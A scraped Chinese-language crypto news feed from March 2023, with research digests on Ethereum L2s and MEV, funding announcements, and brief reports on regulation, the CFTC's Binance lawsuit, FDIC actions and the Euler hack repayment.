内容来源  ( 2 min )
    【英文长推】Messari：从用户数据分析 Layer2 和 EVM 链生态可持续性
    Chainfeeds 导读： 加密研究机构 Messari 从用户增长、留存等数据分析了代表性 Layer2 项目和 EVM 链生态的发展现状和趋势，并从 DEX、投机交易、借贷和 NFT 交易等四个交易类型入手，分别解析了各赛道的用户数据变化和建议的发展方向。 文章来源： https://twitter.com/MessariCrypto/status/1640722925983793154 文章作者： Messari 观点： Messari：作为两个拥有最大用户群体的生态，BNB 链的月度用户增长为 6%，而以太坊的月度用户增长为 -5%。以太坊新用户增长下降可能归因于 Arbitrum 和 Optimism 的崛起，两者的用户增长和留存率都处于行业领先水平。【原文为英文】 内容来源 Messari：随着 L2 网络的持续增长，其他 L1 网络也保持了相关性。在成熟的 EVM 链中，以太坊有大约 5% 的长期用户留存率，主要是因为其原生 DEX 中更深的流动性。成熟的 EVM 链的初始用户群在整个 DEX 中减少，可能是由于对加密货币生态系统失去信心。此外，新兴的 L2 DeFi 生态系统可能已经从基础链上夺走了用户市场份额。【原文为英文】 内容来源 Messari：Arbitrum 和 Optimism 一直保持着高于平均水平的长期用户留存率，他们成功的原因是快速扩张的 DeFi 生态系统和激励。为了持续增长，他们需要在 DeFi 生态中建立一个利基市场，并继续推出原生项目。【原文为英文】 内容来源  ( 2 min )
    一文解答 StarNet 交互的常见问题
    Chainfeeds 导读： 最近很多人在交互 StarkNet ，加密货币 KOL 鉴叔整理了一份关于 StarNet 的常见问题答疑。 文章来源： https://twitter.com/jianshubiji/status/1640656205868830720 文章作者： 鉴叔 观点： 鉴叔：Starkware、Starknet、StarkEx 之间是什么关系 ？Starkware 是背后的公司，Starknet 和 StarkEx 都是 Starkware 公司的产品。相关的融资也都是以 Starkware 的名义进的，StarkWare 在过去 6 轮融资中累计已获得 2.73 亿美元。StarkEx 是一个 Layer2 的扩容引擎，可理解成一个 SAAS 方案，是提供给各个独立 dapps 使用的 ；而 Starknet 是一个以太坊的 Layer2 网络。 内容来源 鉴叔：为什么 Starknet 用起来又贵又慢？目前 Starknet 主网仍然处于 alpha 阶段，性能还没有全部开放。目前的主网版本是 alpha v0.10.3 ，3 月 22 日 Starknet 宣布 alpha v0.11.0 已经在测试网上线，接下来一周预计就会准备上主网。Alpha v0.11.0 这个版本主要是引入 Cairo 1.0 智能合约，并对合约类和交易结构进行了重大改变，能够使得 Starknet 更快更强大。 内容来源 鉴叔：交易失败会扣 gas 吗？比如说一笔交易失败，钱包端显示的是 Failed ，然后我们在浏览器上看到 Status 是 Rejected ，如果是这种状态的话是不会扣 gas 的。关于避免 rejected 状态，一方面是你需要在交易前检查网络是否拥堵，网络中积压的交易是否过多。另外因为一笔交易确认的等待时间较长，并且 DEX 的深度较差，所以如果是进行 swap 的操作，建议拉大滑点以降低交易失败的概率。 内容来源  ( 2 min )
    【英文】中继是一种「延迟游戏」：数据解析延迟对 MEV 生态的影响
    Chainfeeds 导读： 自以太坊合并以来，Flashbots 的 MEV-Boost 已成为构建以太坊区块的主要方法。加密数据研究机构 Metrika 通过数据采样分析了当前区块构建中的延迟问题，及其对  MEV 生态系统中构建者、中继和提议者的影响。 文章来源： https://blog.metrika.co/relays-are-a-latency-game-303aadb393ce 文章作者： Metrika 观点： Metrika：TLDR：我们发现，建设者通常会在 slot 开始后的几毫秒内与中继分享竞价。由于延迟和有限的构建者 - 中继垂直整合，提议者通常不会收到价值最高的区块，但这对他们的收入影响很小。我们相信延迟将在 MEV 供应链中发挥越来越重要的作用。这可能需要开发和采用新的中继模型来应对延迟带来的挑战。【原文为英文】 内容来源 Metrika：延迟的影响：拥有最短延迟的中继可能会在拍卖中更成功，构建者可能会优先将区块提交给少数几个中继，从而导致中继的中心化。通过构建垂直构建者 - 中继集成或投资更好的硬件 / 软件可以改善延迟的问题，也可以选择如 Optimistic Relay 等新的中继模型。【原文为英文】 内容来源  ( 14 min )
    【英文长推】对话 Tangent Ventures 联创：加密叙事、监管与交易策略
    Chainfeeds 导读： 加密 KOL Miles Deutscher 采访了 Tangent Ventures 联合创始人 Wangarian，围绕加密行业最值得关注的叙事、监管、L2 和 ZK 的发展格局、适合小型交易者的最佳策略等话题进行了探讨。本文为 Miles Deutscher 整理的 13 个内容重点。 文章来源： https://twitter.com/milesdeutscher/status/1640696219092815873 文章作者： Thor Hartvigsen 观点： Wangarian：1.ETH 将成为比 BTC 更受欢迎的资产选择；2.ETH 价格去年已经见底，目前处于上升趋势；3. 资本储备是成功的关键；4.FED 加息仍然是非常重要的宏观影响因素；5.Operation Choke Point 2.0（美国监管机构针对加密行业的监管行动）是真实的，亚洲资本和采用将会增加。【原文为英文】 内容来源 Wangarian：6. 尽管监管趋严，但技术将永远战胜监管；7.Narrative Trading 是一项重要的技能，当前加密货币仍然依赖叙事；8.Web3 游戏发展潜力巨大；9.L2/ZK 空间竞争激烈，对用户而言是获得代币激励的好机会。【原文为英文】 内容来源 Wangarian：10. 我们仍然需要一个去中心化的稳定币，FRAX 正在迈出正确的步伐；11. 自我监管仍然是加密货币的最大痛点，当前自我监管对普通民众来说弊大于利；12. 如果资产有限请关注链上，不要碰币安上的任何东西；13. 对市场要有一个长期的、结构性的看法。【原文为英文】 内容来源  ( 2 min )
    解锁参与式媒体：Web3 带来多人创作时代
    Chainfeeds 导读： 新时代参与式媒体的价值将在于多方参与而不是个体的累积。1kx 研究员 Justin McAfee 和 Nichanan Kesonpat 分析了 Web3 中以创作者为中心的产品和服务演变，从 NFT 发布平台、基础设施、开发人员工具到策展经济，他们认为该领域正在朝着多人模式创新。本文由 Foresight News 编译。 文章来源： https://foresightnews.pro/article/detail/29414 文章作者： accel_capital 观点： accel_capital：多人创作是在创意作品的形成、协调、生产、价值分配和发布后演变的全过程中，多人参与一个或多个阶段。「多人参与」是指个人对产品的投入受多个来源影响，这些来源可能存在关系，也可能不存在关系。最终产品是形态不可知的，可以是静态的或动态的。 内容来源 accel_capital：多人创作基础设施：NFT：我们已经看到 NFT 铸造平台的激增；NFT 金融化基础设施的激增为持有者提供了多种途径寻找流动性；创意工具协议化的增加也为 NFT 在社交层面的应用和发展奠定了基础。DAO：去中心化治理中的 DAO 工具和尝试为多人创造的各个阶段提供了肥沃的土壤；链上注册表：注册表数据可以被任何平台或服务引用，并用于任何身份验证、授权和价值分配逻辑。 内容来源 accel_capital：链上共同创造的纯粹尝试：Entropes & Spells：Entropes 是不断发展的 NFT，Spells 是 EIP-5050 的第一次实现，它为 Entropes 增加了另一层交互性；OG.Art：OG Art 最初的铸造者将通过他们的钱包地址和历史「播种」艺术。在「成长期」，随着代币的转移，新的结构和图案被添加到艺术品中。 内容来源
    【英文】探索模块化 IBC：如何共享外部安全性
    Chainfeeds 导读： 除了允许模块化链之间信任最小化的互操作性外，模块化 IBC 还支持共享安全模型。Cosmos 生态扩容研究机构 Polymer 探讨了多个不同路径从外部来源获取安全性的可能性。 文章来源： https://polymerlabs.medium.com/modular-ibc-for-the-modular-world-9fc021f6322e 文章作者： Polymer 观点： Polymer：在模块化区块链堆栈中，链可以从一个或多个外部来源获取安全性。有以下几种共享安全模式：通过链间安全性（例如 Cosmos Hub）从生产者链继承安全性；从通用结算层（例如以太坊）继承安全性；从公共 DA 层（例如 Celestia、EigenDA）继承安全性；从可编程安全提供者（例如 EigenLayer）继承安全性；通过检查点机制（例如 Babylon）从生产者链继承安全性；从重质押和交叉质押中继承安全性（例如 LSD）。【原文为英文】 内容来源  ( 12 min )
    质押协议开发商 EigenLabs 完成 5000 万美元 A 轮融资，Blockchain Capital 领投
    质押协议开发商 EigenLabs 完成 5000 万美元 A 轮融资，Blockchain Capital 领投 据 CoinDesk 报道，以太坊重质押协议 EigenLayer 背后团队 EigenLabs 质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。这笔资金的到来正值 EigenLabs 准备在今年分阶段推出其 EigenLayer 协议的初始版本之际。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投，共计 1450 万美元。 内容来源 观点： Sreeram Kannan（Eigenlayer 创始人）：当今加密生态系统中创新的主要瓶颈之一是项目需要引导信任或密码经济安全性，我们开始致力于创建 EigenLayer，希望打造一个新模型，在这个模型中开发者可以轻松消费信任，而不需要建立信任，并设计强大的保证系统，使加密生态系统更安全、更有用。 内容来源 Blockchain Capital：我们十分期待下类协议能够在 EigenLayer 上构建，包括：超大规模的数据可用性层、链外 ZKP 验证协议、增强以太坊抗审查能力的协议、新的预言机机制、跨链桥 / 消息协议、去中心化排序协议以及任何全新的协议。【原文为英文】 内容来源 Viktor Bunin：关于像 EigenLayer 这样的工作代币模型，需要注意三件事：它的生死取决于它提供的服务是否有 PMF；它别无选择，只能拥有一个可持续的费用市场；加密经济激励模型必须真正起作用。【原文为英文】 内容来源  ( 27 min )
    MetaMask：快照空投为不实信息，注意甄别假冒网站
    MetaMask：快照空投为不实信息，注意甄别假冒网站 MetaMask 发推澄清近期空投传闻，称「关于 MetaMask 将于 3 月 31 日进行快照和空投的传言均为不实信息。这些谣言为诈骗者和网络钓鱼者提供了机会」。MetaMask 提醒用户在接下来的时间内注意甄别假冒网站。 内容来源  ( 2 min )
    加密基础设施平台 Conduit 完成 700 万美元种子轮融资，Paradigm 领投
    加密基础设施平台 Conduit 完成 700 万美元种子轮融资，Paradigm 领投 总部位于美国加州的加密基础设施初创公司 Conduit 完成 700 万美元种子轮融资，由 Paradigm 领投，其他投资者包括 Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma 和 Lakshman Sankar。Conduit 第一个产品旨在帮助开发人员快速部署基于 OP Stack 的生产级 rollups。Conduit 将为在其平台上发布的 rollups 提供托管服务，其中包括对 OP Stack 的自动代码更新和未来对 Superchain 的升级。 内容来源 观点： Georgios Konstantopoulos：Conduit 允许你通过几个点击启动一个 OP Stack rollup，提供开箱即用的 tx 追踪和区块链浏览器！所有这些都在 Conduit 现成的基础设施上，这是构建项目自己 rollup 的最简单方法。【原文为英文】 内容来源  ( 9 min )

  • Open

    六大推动以太坊及其二层扩展实现大规模采用的因素
    六大推动以太坊及其二层扩展实现大规模采用的因素 – 深潮TechFlow 撰写：The DeFi Investor Read the full entry  ( 3 min )
    六大推动以太坊及其二层扩展实现大规模采用的因素
    六大推动以太坊及其二层扩展实现大规模采用的因素 – 深潮TechFlow 撰写：The DeFi Investor Read the full entry  ( 3 min )
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则 – 深潮TechFlow Mosdex利用AI、机器学习和深度神经节点，在传统和DeFi市场中优化套利机会，最大化收入生成并为未来增长铺平道路。 Read the full entry  ( 3 min )
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则 – 深潮TechFlow Mosdex利用AI、机器学习和深度神经节点，在传统和DeFi市场中优化套利机会，最大化收入生成并为未来增长铺平道路。 Read the full entry  ( 3 min )
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll – 深潮TechFlow 撰写：Filippo Armani Read the full entry  ( 7 min )
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll – 深潮TechFlow 撰写：Filippo Armani Read the full entry  ( 7 min )
    为什么说 AI 正在吞噬 Web3 创作者经济？
    为什么说 AI 正在吞噬 Web3 创作者经济？ – 深潮TechFlow 撰写：Theo Priestley，《未来从现在开始》的作者 Read the full entry  ( 3 min )
    为什么说 AI 正在吞噬 Web3 创作者经济？
    为什么说 AI 正在吞噬 Web3 创作者经济？ – 深潮TechFlow 撰写：Theo Priestley，《未来从现在开始》的作者 Read the full entry  ( 3 min )
    账户抽象：Web3 采用的推动者和游戏规则的改变者
    账户抽象：Web3 采用的推动者和游戏规则的改变者 – 深潮TechFlow 撰写：Gal Ron，stanford blockchain review Read the full entry  ( 4 min )
    账户抽象：Web3 采用的推动者和游戏规则的改变者
    账户抽象：Web3 采用的推动者和游戏规则的改变者 – 深潮TechFlow 撰写：Gal Ron，stanford blockchain review Read the full entry  ( 4 min )

  • Open

    英国财政部：加密货币推广法规或将于今年年底生效
    PANews 3月29日消息，英国财政部推特发文称，加密货币推广法规有望在今年年底生效。这些规定旨在保护消费者免受“误导性加密资产促销”的影响，并适用于所有从英国或海外向英国消费者进行的加密宣传推广活动。英国《金融服务和市场法》修正案草案于周一公布，它将使英国金融行为监管局（FCA）能够根据现有法规来监管加密公司的推广活动。该法案还包括对加密公司的限时豁免。英国议会将很快讨论该修正案。  ( 4 min )
    加拿大要求联邦监管养老基金披露加密货币敞口
    PANews 3月29日消息，据CoinDesk报道，加拿大联邦政府在新的2023年预算计划中表示，为了帮助保护加拿大退休人群，政府将要求受联邦监管的养老基金向加拿大金融监管局（OSFI）披露其加密资产敞口。去年，总部位于魁北克的养老基金Caisse de Depot et Placement du Quebec表示，已冲销了对Celsius Network 1.5亿美元的投资。安大略省教师养老金计划去年也表示，将其在FTX的9500万美元投资减计为0。近几个月来，加拿大一直在收紧对加密货币行业的监管。今年2月，加拿大证券管理局(CSA)发布新规，要求在该国运营的加密货币交易所遵守“加强的投资者保护承诺”。  ( 4 min )
    Galaxy Digital仍计划在美国上市，SEC注册文件正在审核中
    PANews 3月29日消息，据Blockworks报道，Galaxy Digital的最新年报显示，仍计划在重组成为特拉华州注册公司并完成必要的SEC审查后在美国上市。Galaxy最近的修订注册文件已于2023年2月提交给SEC，目前正在审核中。据此前消息，Galaxy Digital公布2022年净亏损10亿美元，其中第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。  ( 4 min )
    FDIC要求Signature Bank加密客户下周前取款
    PANews  3月29日消息，据CoinDesk报道，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。FDIC此前已将Signature剩余资产出售给纽约社区银行，但交易不包括约40亿美元的加密货币相关存款，也不包括Signature的数字支付平台Signet。FDIC发言人表示，仍在试图出售Signet，并计划在4月5日之前清算加密存款。据悉，FDIC一直在联系加密货币储户，并鼓励他们寻找另一家可接受这些存款的银行。发言人表示，如果这些客户无法找到新银行，他们将收到一张支票。政府对Signature储户的救助(包括加密客户的未投保存款)预计将花费FDIC保险基金25亿美元。据此前消息，Signature前管理层正在接受调查，因为其行为可能导致了银行破产。  ( 4 min )
    Voyager出售加密资产，向Circle发送1.5亿美元USDC
    PANews 3月29日消息，据The Block报道，链上数据显示，Voyager Digital已向Circle发送了1.5亿美元的USDC，以将其兑换成美元。这是Voyager出售加密资产战略的一部分。今年2月，Voyager将约1.544亿美元的USDC从Coinbase转移至该公司公开标记为“Voyager 1”的以太坊钱包。据此前消息，美国纽约南区地方法院地方法官Jennifer Rearden批准了美国司法部提出的暂缓Voyager将其资产出售给Binance.US的计划，该申请此前已获得一名破产法官的批准。 上个月，美国证券交易委员会（SEC）、纽约金融服务部和纽约州总检察长都反对Binance.US收购Voyager的计划，称Voyager出售加密货币可能违反证券法。  ( 4 min )
    Lido将发行与ETH取款请求挂钩的NFT
    PANews 3月29日消息，据CoinDesk报道，流动性质押协议Lido公布了NFT发行计划，每个NFT代表了用户的ETH取款请求。取款将在下个月以太坊完成上海升级后启用。Lido的产品经理Mariya Muzyko表示，用户可以在Lido解除stETH质押，并按照1:1的比例收到ETH。一旦用户请求取款，他们将收到Lido发行的代表其取款请求的NFT。然后，用户可以使用NFT来领取他们的ETH奖励。在用户赎回他们的ETH后，NFT将被销毁。每个NFT都是可转让的，这意味着用户可以将NFT转移到另一个地址，使新地址有权获得相应的ETH奖励。Lido表示，如果用户决定在二级市场上出售他们的NFT，将不会从中收取版税。取款周期大约需要1至5天，取决于取款的stETH数量和取款请求数量。  ( 4 min )
    华尔街日报：Radix Trading为CFTC对币安诉讼中提到的三家量化公司之一
    PANews 3月29日消息，据《华尔街日报》报道，总部位于芝加哥的交易公司Radix Trading表示，它就是美国商品期货交易委员会(CFTC)周一对币安诉讼中提到的身份不明的“交易公司A”。在诉讼中，CFTC提到了至少三家总部位于美国的量化交易公司。尽管美国客户本应被禁止在币安交易，但这三家交易所仍然活跃于币安。Radix联合创始人Benjamin Blander表示，Radix通过离岸子公司和一家主要经纪商在币安交易了几年，该公司在加密连接方面的所有事情都经过了法律审查。Blander还表示，Radix在起诉前正与CFTC合作，他不认为Radix是任何调查的目标。  ( 4 min )
    Kraken与F1威廉姆斯车队达成赞助合作
    PANews 3月29日消息，据The Block报道，加密交易所Kraken与F1威廉姆斯车队合作，成为该车队首个官方加密货币和Web3合作伙伴。Kraken计划将部分NFT收藏品显示在威廉姆斯赛车的后翼，Kraken品牌也将在2023赛季剩余时间在威廉姆斯车身展示。Kraken表示，还将推出包括独家内容、粉丝弹出窗口和联名商品在内的额外福利。  ( 4 min )
    报告：朝鲜黑客组织APT43使用加密服务洗钱
    PANews 3月29日消息，根据情报公司Mandiant的一份新报告，朝鲜黑客组织APT43使用算力租赁和云挖矿等加密服务来洗钱。报告中称，美国和韩国是该组织的两个主要攻击目标。与APT38等其他朝鲜组织不同，APT43的主要任务并不是为政府筹集资金，而很可能是为了维持自身的运作。Mandiant表示，APT43可能使用盗窃的比特币来支付算力租赁费和云挖矿服务，并生产出“干净的比特币”。云挖矿服务为任何人提供远程挖矿比特币的机会，只需支付一定的费用便可使用，而无需直接安装和运行矿机。  ( 4 min )
    质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投
    PANews 3月29日消息，据CoinDesk报道，质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 相关阅读：EigenLayer：通过再质押（Re-Staking）打造以太坊上的共识中枢  ( 4 min )
    加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资
    PANews 3月28日消息，加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 Conduit 提供托管服务，帮助开发人员轻松快速地将他们的应用程序部署到 Optimism。Conduit 和 Optimism Foundation 将共同努力，支持开发人员在链上启动应用程序并过渡到其即将推出的 Superchain 区块链网络。  ( 4 min )
    Polygon zkEVM现已完全开源，漏洞赏金高达100万美元
    PANews 3月28日消息，Polygon Labs宣布其 Polygon zkEVM 已在AGPL v3许可下完全开源。Polygon zkEVM 主网测试版也已经同步启动。目前已经设置了高达 100 万美元的漏洞赏金用于记录关键漏洞。  ( 4 min )
    法庭文件：美国公布针对FTX创始人SBF的13项新起诉
    PANews 3月28日消息，据Walter Bloomberg，法庭文件显示，美国公布了针对 FTX 加密货币交易所创始人 SAM BANKMAN-FRIED 的 13 项新起诉书。美国在新的贿赂阴谋指控中指控 BANKMAN-FRIED 指导转移至少 4000 万美元的加密货币以贿赂中国政府官员。根据指控，这笔交易是为了影响和诱导中国官员解冻 FTX 附属公司 Alameda Research 的加密货币账户。 据 FT 报道，检察官称，SBF 和他的同伙考虑并尝试了“多种方法”来解冻这些账户，其中包含价值约 10 亿美元的加密货币。2021 年 11 月左右，SBF 将一笔当时价值约 4000 万美元的贿赂款从 Alameda 转移到了一个私人加密钱包中。在付款时或前后，账户被解冻。  ( 4 min )
    PA日报｜币安及其CEO被美国CFTC起诉；ConsenSys的zkEVM测试网上线并更名为Linea
    今日要闻提示： 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 币安及其CEO因违反监管规定被美国CFTC起诉 工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见 知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门 ConsenSys的zkEVM测试网上线并更名为Linea EOS EVM最终测试网已上线 Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元 比特小鹿将上市纳斯达克，估值约11.8亿美元 监管消息 币安CEO因违反监管规定被美国CFTC起诉 据彭博社报道，交易平台币安CEO赵长鹏因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼。CFTC表示，币安没有正确注册，从而逃避了义务。 至少从 2021 年开始，CFTC 就一直在调查 Binance 是否未能阻止美国居民买卖加密货币衍生品。CFTC 规则通常要求平台在允许美国人交易这些产品时向该机构注册。美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令。 CZ回应遭起诉：忽略FUD。并表示，币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易。 随后，美国CFTC主席称，币安案是持续的欺诈行为，将在法庭上就此案积极辩论 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。 据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 香港金管局和证监会的发言人表示，他们不会就任何细节发表评论，但补充说，他们正在与利益相关者保持对话。 工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见 工信部今日就《区块链和分布式记账技术标准体系建设指南（2023版）》（征求意见稿）公开征求意见。其中提出，到2023年，明确区块链和分布式记账技术标准体系顶层设计，研究标准体系建设和标准研制的总体规则，明确标准间的关系，重点开展基础共性标准研制，基本满足我国区块链和分布式记账技术标准化需求。到2025年，进一步完善国家区块链和分布式记账技术标准体系，持续推动区块链和分布式记账技术基础共性、关键应用示范和安全保障等标准，有效指导我国区块链产业建设，提升技术与应用服务水平。 NFT 美国法院驳回对世界首件NFT数字艺术品“Quantum”的版权归属权诉讼 据Businesswire报道，美国纽约地方法院上周驳回了加拿大公司Free Holdings对世界上第一件已知NFT数字艺术品“Quantum”的所有权诉讼。这件作品于2014年首次由数字艺术家Kevin McCoy创作，并于2021年在苏富比拍卖中以147万美元售出。 去年2月，Free Holdings的相关方向纽约地方法院提起诉讼，声称自己才是“Quantum”的合法所有者，并指控苏富比提供虚假的艺术品状态报告。原告认为，McCoy允许他的所有权在2014年至2021年期间失效。在此期间，Free Holdings在Namecoin上获得了Quantum区块链记录。Free Holdings使用McCoy七年前使用的命名空间创建了一个新的NFT，他还复制了原始元数据。 法院在决议书中判定，该公司未曾参与作品的创作，并指出该诉讼行为只不过是利用现有的NFT所有权法律空白，来窃取合法创作者的利益。 元宇宙 Otherside将推出基于收藏的2D策略游戏LOTM，4月初可申领Vessel NFT 据官方推特，Yuga Labs旗下元宇宙平台Otherside宣布将推出基于收藏的2D策略游戏Legends of the Mara（LOTM），将从“Otherside:2nd Trip”活动结束后开始。 该游戏引入了一个名为Mara的全新NFT系列，该系列可以进化为Kodamara。该游戏始于Vessel NFT。每个Otherdeed持有人可以领取一个Vessel NFT，申领将从4月初开放。每个认领的Vessel将作为一个单独的ERC-721代币发送到Otherdeed持有钱包，并带有一个新的智能合约/NFT集合。除了通过申领获得外，还可以通过交易平台购买和出售Vessel。5月开始，玩家可准备保卫Otherside。 据介绍，Koda是Otherside的主要守护者，在该游戏中，他们是擅长耕种、施法和狩猎的人。通过该游戏，玩家将了解更多关于Koda的信息，包括他们的起源和他们与Otherside的原始关系，以Mara的形式遇到一些新学徒，并了解更多关于整个LOTM中Otherside的故事。Vessel可以成长为被称为Mara的学徒，在合适的条件下，使用合适的催化剂，可以进化成更熟练的Kodamara。他们都是防御异方的得力助手，尽管与古代的Koda相比，他们的力量受到了很大的限制。 知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门 据华尔街日报报道，知情人士透露，迪士尼已开启首轮裁员，预计裁员7000人，这是其2月宣布的55亿美元成本削减计划的关键部分。第一批员工将在未来四天内收到裁员通知，第二轮规模更大的裁员将在4 月份进行，将影响数千名员工，其中裁员计划的一部分是裁撤元宇宙部门，该团队的大约50名成员将全部被裁。 项目动态 ConsenSys的zkEVM测试网上线并更名为Linea ConsenSys 宣布将其 Layer2 解决方案 ConsenSys zkEVM 测试网正式上线并品牌重塑为 Linea，目前已向所有开发人员、用户或协议开放测试。Linea 使开发人员能够不受限制地构建可扩展的 DApp。另外，通过 MetaMask 和 Truffle 等原生集成，Linea将零知识证明与 EVM 等效性相结合，为开发人员提供灵活性和可扩展性，而无需 ZK 技术专业知识。 Euler攻击者为其行为道歉，并称会尽快归还剩余资金 据Coindesk报道，Euler Finance攻击者在链上发送消息为其行为道歉：“我不认为我说的话对我有任何帮助，但我还是想说出来。我搞砸了。我不想这么做，但我却搅乱了别人的钱，别人的工作，别人的生活。我真的搞砸了。我很抱歉。我不是那个意思。原谅我。剩下的钱会尽快归还。我只关心我自己的安全，这就是延误的原因。很抱歉有任何误会。” 此前今日早些时候消息，Euler Finance攻击者今日向Euler部署者账户返还了23214.15枚ETH和1070万枚Dai，又将800万枚DAI转至Euler：Multisig 2地址。 币安将上线LDO/TUSD、OP/TUSD、MATIC/TUSD等6个TUSD相关交易对 据官方公告，币安宣布将于北京时间3月29日16:00上线 LDO/TUSD、MATIC/TUSD、OP/TUSD、SOL/TUSD、SSV/TUSD、XRP/TUSD交易对，用户可在这些交易对享受零挂单手续费，直至另行通知。 此外，今日晚些时候消息，币安将于3月29日20:00上线JOE 1-20倍U本位永续合约。 EOS EVM最终测试网已上线 据官方推特，EOS网络基金会宣布EOS EVM最终测试网已上线，随着安全审计的进行，EVM主网也即将准备就绪。 此前消息，EOS EVM主网Beta发布时间为4月14日。 知情人士：Genesis高管曾在特权下提前购买了FTX支持的加密货币 据英国《金融时报》报道，知情人士透露，加密贷款机构Genesis高管有特权提前获得FTX支持的加密货币，即在FTT（2019年推出的FTX原生代币）和Serum（在FTX和 Alameda的支持下于2020年推出）向公众发行之前，FTX创始人Sam Bankman-Fried（SBF）以折扣价向Genesis高管门出售。 据知情人士透露，FTT和Serum代币以及Solana也被Genesis接受为Alameda抵押的抵押品，以担保其借款。 Genesis于1月倒闭，长期以来一直是Alameda Research的主要资金来源。根据美国破产法庭的记录，Genesis是FTX和Alameda最大的债权人，欠债2.26亿美元。 Starknet主网将于本周进行Alpha v0.11.0升级 Starknet基金会在推特上表示，以太坊Layer2扩容解决方案Starknet的主网Alpha v0.11.0升级提案已获得投票通过，该升级现在定于本周进行。 此前3月22日消息，Starknet已在测试网上发布Alpha v0.11.0版本，Cairo 1.0已启动。 蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续 据澎湃新闻报道，针对A&T Capital原负责人于某（即于隽）因涉嫌性侵于3月9日被杭州公安立案调查，有网友称于某为蚂蚁集团高管，蚂蚁方面作出回应。蚂蚁有关人士表示，于某曾是蚂蚁外派至海外基金（即A&T Capital）的工作人员，今年3月6日向公司提出离职，目前已办结离职手续。于某在办理离职交接手续期间，当事女生家属于3月17日到公司提出与于某沟通的诉求。公司要求于某全力配合警方调查。目前警方也已经介入处理，一切信息以警方披露为准。公司对于违法违规及不道德行为一贯绝不姑息。 此前昨日消息，A&T Capital表示，于隽正接受有关单位调查，公司内部已成立独立调查组。 Coinbase将Flare (FLR)列入上币路线图 Coinbase Assets发推表示，已将Flare (FLR)列入上币路线图。 MakerDAO启动的Maker章程获得投票通过 在已结束的Maker章程投票中，76%的人投票赞成批准由Maker首席执行官兼联合创始人Rune Christensen撰写的“Maker章程”。Maker章程是一组提案，相关规则用于锁定MakerDAO运营范围。Maker章程有11条条款和12个范围框架，旨在规范MakerDAO操作流程。它提供了关于总体稳定性、去中心化和风险、前端治理、选民委员会和授权等各种平台相关功能的指导。这些框架将把MakerDAO的操作集中在实现Endgame目标上，使MakerDAO能够在短期内扩大其货币市场投资并增加协议收入。 Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元 据The Block报道，加拿大上市的加密货币投资公司Galaxy Digital年报显示2022年净亏损10亿美元，而2021年实现的利润为17亿美元。它还报告第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。 矿业消息 比特小鹿将上市纳斯达克，估值约11.8亿美元 据美通社报道，美国证券交易委员会（SEC）已宣布Bitdeer Technologies Group（BTG，比特小鹿）的F-4的注册声明生效，该表格与Bitdeer和Blue Safari之前宣布的拟议业务合并有关。 Blue Safari将于4月11日举行临时股东大会以批准业务合并等事项；合并后的公司BTG将成为纳斯达克上市公司，估值约为11.8亿美元，股票代码为“BTDR”。企业合并预计将在Blue Safari股东批准并满足委托书和注册声明中所述的其他惯例成交条件后不久完成。  ( 5 min )
    硅谷银行美股盘前暴跌97.41%，报2.75美元
    PANews 3月28日消息，硅谷银行美股盘前暴跌97.41%，报2.75美元。此前，第一公民银行同意收购硅谷银行，交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行的资产，且第一公民银行承担的所有存款将继续由FDIC承保，最高可达保险限额。签名银行美股盘前跌超99%，将于周二开始在场外交易（OTC）。  ( 4 min )
    欧盟反洗钱条例获得议会经济事务和内政委员会投票通过
